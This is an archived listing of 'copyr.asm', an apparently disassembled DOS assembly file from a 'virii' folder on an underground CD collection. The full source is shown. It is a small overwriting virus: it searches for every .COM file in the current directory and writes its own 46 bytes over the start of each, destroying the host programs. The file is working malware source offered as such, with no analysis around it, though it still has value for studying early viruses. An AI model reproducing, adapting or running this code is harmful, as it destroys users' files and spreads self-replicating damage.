home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / copyr.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  1.5 KB  |  60 lines

  1.   
  2.  
  3. PAGE  59,132
  4.  
  5.   
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    COPYR                         ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   1-Jan-80                             ██
  16.  
  17. ;██      Version:                                 ██
  18.  
  19. ;██      Passes:    5           Analysis Options on: AFOP             ██
  20.  
  21. ;██                                         ██
  22.  
  23. ;██                                         ██
  24.  
  25. ;██████████████████████████████████████████████████████████████████████████
  26.  
  27.   
  28.  
  29. data_1e        equ    9Eh            ; (996E:009E=0)
  30.  
  31.   
  32.  
  33. seg_a        segment    byte public
  34.  
  35.         assume    cs:seg_a, ds:seg_a
  36.  
  37.   
  38.  
  39.   
  40.  
  41.         org    100h
  42.  
  43.   
  44.  
  45. COPYR        proc    far
  46.  
  47.   
  48.  
  49. start:
  50.  
  51.         mov    ah,4Eh            ; 'N'
  52.  
  53.         mov    cl,20h            ; ' '
  54.  
  55.         mov    dx,offset data_3    ; (996E:0128=2Ah)
  56.  
  57.         int    21h            ; DOS Services  ah=function 4Eh
  58.  
  59.                         ;  find 1st filenam match @ds:dx
  60.  
  61. loc_1:
  62.  
  63.         mov    dx,data_1e        ; (996E:009E=0)
  64.  
  65.         mov    ax,3D01h
  66.  
  67.         int    21h            ; DOS Services  ah=function 3Dh
  68.  
  69.                         ;  open file, al=mode,name@ds:dx
  70.  
  71.         mov    bx,ax
  72.  
  73.         mov    dx,offset ds:[100h]    ; (996E:0100=0B4h)
  74.  
  75.         mov    cl,2Eh            ; '.'
  76.  
  77.         mov    ah,40h            ; '@'
  78.  
  79.         int    21h            ; DOS Services  ah=function 40h
  80.  
  81.                         ;  write file cx=bytes, to ds:dx
  82.  
  83.         mov    ah,3Eh            ; '>'
  84.  
  85.         int    21h            ; DOS Services  ah=function 3Eh
  86.  
  87.                         ;  close file, bx=file handle
  88.  
  89.         mov    ah,4Fh            ; 'O'
  90.  
  91.         int    21h            ; DOS Services  ah=function 4Fh
  92.  
  93.                         ;  find next filename match
  94.  
  95.         jnc    loc_1            ; Jump if carry=0
  96.  
  97.         int    20h            ; Program Terminate
  98.  
  99. data_3        db    2Ah
  100.  
  101.         db     2Eh, 43h, 4Fh, 4Dh, 00h
  102.  
  103.   
  104.  
  105. COPYR        endp
  106.  
  107.   
  108.  
  109. seg_a        ends
  110.  
  111.   
  112.  
  113.   
  114.  
  115.   
  116.  
  117.         end    start
  118.  
  119.